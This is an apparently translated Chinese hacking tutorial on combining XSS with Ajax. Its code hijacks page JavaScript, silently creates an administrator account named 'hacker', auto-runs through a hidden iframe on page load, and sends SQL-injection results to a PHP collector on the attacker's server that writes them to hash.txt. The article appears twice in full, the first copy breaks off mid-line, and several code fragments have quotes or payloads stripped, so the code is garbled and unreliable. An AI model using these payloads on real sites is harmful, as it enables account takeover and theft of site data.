大多數人因為兩個原因而認為xss漏洞不夠強大。其中一個原因:可能你只能利用它來盜取cookie,而另一個原因則是:你(錯誤地)認為(利用)它需要目標點擊特定的連接或者訪問特定的網站。在這篇文章中我將要證明利用xss漏洞能做比盜取cookie多得多的事情,即使你仍然需要目標去點擊特定的鏈接。一種被稱為Ajax的新技術正在網絡中蔓延。Ajax技術允許你利用javascript來發送HTTP請求。一個簡單的沒有ajax功能的網站是像這樣的(工作模式):
客戶端請求 -à 服務器響應 -à 返回內容 -à 客戶端
而ajax的(工作模式)類似于:
客戶端請求 -à javascript -à 服務器響應 -à 數據 -à javascript處理
我將以展示怎樣利用xss漏洞劫持javascript函數為開頭,(進而)我們將看到網站過于信任javascript而造成的影響以及利用這種技術(達到的)各種可能性。
在我們開始之前,你必須做幾件事:
設置magic_quotes_gpc = off
允許javascript在你的瀏覽器中執行
從我的網站上下載這些例子(有這樣打廣告的??)
1. 利用xss劫持javascript
讓我們清晰的了解它,這是一個有xss漏洞的php網頁代碼:
這里還有一個javascript腳本文件,代碼為:
function Hello()
{
alert(Hi there);
}
這非常簡單,我們擁有一個包含一個按鈕的網頁,當點擊這個按鈕就會彈出一個對話框“Hi there”。
http://[host]/?xss=Ok,現在我們在點擊一下我們的按鈕,發生了什么?我們沒有得到“Hi there”,而得到了“hijacked”!這意味著我們能利用xss漏洞劫持javascript代碼,當用戶調用函數時回執行我們的代碼而并非原來的。
好,我們已經知道了在url中重建javascript函數,但是如果你需要重建很多函數,通過url這樣做會使你完蛋的。所以讓我們重建一個新的javascript文件來包含我們需要的一切。
function Hello()
{
alert(Hijack from remote);
}
然后我們像這樣提交url:
http://[host]/?xss=
讓后我們再次點擊我們的按鈕發生了什么?“Hijack from remote”! Ok,(到此為止)我們知道了怎樣正確的劫持javascript函數。
2. 利用Ajax做更多的事:XMLHttpRequest的高級運用實例
為了演示這個技術我編寫了一個適用于教學的實例,(請)到我的網站下載。我將會應用它的部分代碼并且解釋他們。它是一個簡單的管理員用來添加新管理員或者在博客上發布消息的控制面板。在頁面add_message.php?author=[xss]有一個xss漏洞,這是我們將用來攻擊的地方!
我編寫了一個輕量級的exploit來劫持javascript函數,代碼為:
function createRequest()
{
var xmlHttp;
if(window.ActiveXObject)
{
xmlHttp = new ActiveXObject(Microsoft.XMLHTTP);
}
else if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}
return xmlHttp;
}
function validateForm()
{
var xmlHttp;
xmlHttp = createRequest();
url = add_admin.php?login=hacker&password=hacker&email= hacker;
xmlHttp.open(GET, url, true);
xmlHttp.send(null);
document.location = add_message.php;
}
非常好,要利用這個漏洞我們需要管理員訪問這個url:http://[host]/add_message?author=http://[host]/?xss=
當他點擊提交按鈕時我們的惡意代碼會添加一個賬戶密碼都為“hacker”的用戶到數據庫里。我們能使目標運行我們的惡意代碼!但任然需要用戶點擊按鈕……
3. 自動執行
上面的例子總是需要目標點擊一個按鈕來完成我們的攻擊。這里有一個解決(方案)給你:window.onload = function i
說明:
大多數人因為兩個原因而認為xss漏洞不夠強大。其中一個原因:可能你只能利用它來盜取cookie,而另一個原因則是:你(錯誤地)認為(利用)它需要目標點擊特定的連接或者訪問特定的網站。在這篇文章中我將要證明利用xss漏洞能做比盜取cookie多得多的事情,即使你仍然需要目標去點擊特定的鏈接。一種被稱為Ajax的新技術正在網絡中蔓延。Ajax技術允許你利用javascript來發送HTTP請求。一個簡單的沒有ajax功能的網站是像這樣的(工作模式):
客戶端請求 -à 服務器響應 -à 返回內容 -à 客戶端
而ajax的(工作模式)類似于:
客戶端請求 -à javascript -à 服務器響應 -à 數據 -à javascript處理
我將以展示怎樣利用xss漏洞劫持javascript函數為開頭,(進而)我們將看到網站過于信任javascript而造成的影響以及利用這種技術(達到的)各種可能性。
在我們開始之前,你必須做幾件事:
設置magic_quotes_gpc = off
允許javascript在你的瀏覽器中執行
從我的網站上下載這些例子(有這樣打廣告的??)
1. 利用xss劫持javascript
讓我們清晰的了解它,這是一個有xss漏洞的php網頁代碼:
這里還有一個javascript腳本文件,代碼為:
function Hello()
{
alert(Hi there);
}
這非常簡單,我們擁有一個包含一個按鈕的網頁,當點擊這個按鈕就會彈出一個對話框“Hi there”。http://[host]/?xss=
Ok,現在我們在點擊一下我們的按鈕,發生了什么?我們沒有得到“Hi there”,而得到了“hijacked”!這意味著我們能利用xss漏洞劫持javascript代碼,當用戶調用函數時回執行我們的代碼而并非原來的。
好,我們已經知道了在url中重建javascript函數,但是如果你需要重建很多函數,通過url這樣做會使你完蛋的。所以讓我們重建一個新的javascript文件來包含我們需要的一切。
function Hello()
{
alert(Hijack from remote);
}
然后我們像這樣提交url:
http://[host]/?xss=讓后我們再次點擊我們的按鈕發生了什么?“Hijack from remote”! Ok,(到此為止)我們知道了怎樣正確的劫持javascript函數。
2. 利用Ajax做更多的事:XMLHttpRequest的高級運用實例
為了演示這個技術我編寫了一個適用于教學的實例,(請)到我的網站下載。我將會應用它的部分代碼并且解釋他們。它是一個簡單的管理員用來添加新管理員或者在博客上發布消息的控制面板。在頁面add_message.php?author=[xss]有一個xss漏洞,這是我們將用來攻擊的地方!
我編寫了一個輕量級的exploit來劫持javascript函數,代碼為:
function createRequest()
{
var xmlHttp;
if(window.ActiveXObject)
{
xmlHttp = new ActiveXObject(Microsoft.XMLHTTP);
}
else if(window.XMLHttpRequest)
{
xmlHttp = new XMLHttpRequest();
}
return xmlHttp;
}
function validateForm()
{
var xmlHttp;
xmlHttp = createRequest();
url = add_admin.php?login=hacker&password=hacker&email= hacker;
xmlHttp.open(GET, url, true);
xmlHttp.send(null);
document.location = add_message.php;
}
非常好,要利用這個漏洞我們需要管理員訪問這個url:
http://[host]/add_message?author=http://[host]/?xss=
當他點擊提交按鈕時我們的惡意代碼會添加一個賬戶密碼都為“hacker”的用戶到數據庫里。我們能使目標運行我們的惡意代碼!但任然需要用戶點擊按鈕……
3. 自動執行
上面的例子總是需要目標點擊一個按鈕來完成我們的攻擊。這里有一個解決(方案)給你:
window.onload = function i ;
// we hide it
var attribut_visibility = document.createAttribute(style);
attribut_visibility.nodeValue = visibility:hidden;;
objIframe.setAttributeNode(attribut_visibility);
// we set a name to our frame
var attribut_name = document.createAttribute(name);
attribut_name.nodeValue = exploit;
objIframe.setAttributeNode(attribut_name);
objBody.appendChild(objIframe);
return true;
}
到了這里你應該能理解javascript要做什么,但我還是要啰嗦一點:腳本發送一個http請求來攻擊某個Sql注入漏洞,當獲取數據后提交給我們服務器上的代碼輸出成文件。代碼如下:
if(isset($_GET['page']))
{
$content = file_get_contents($_GET['page']);
$open = fopen(hash.txt, a+);
fwrite($open, $content);
fclose($open);
}
?> |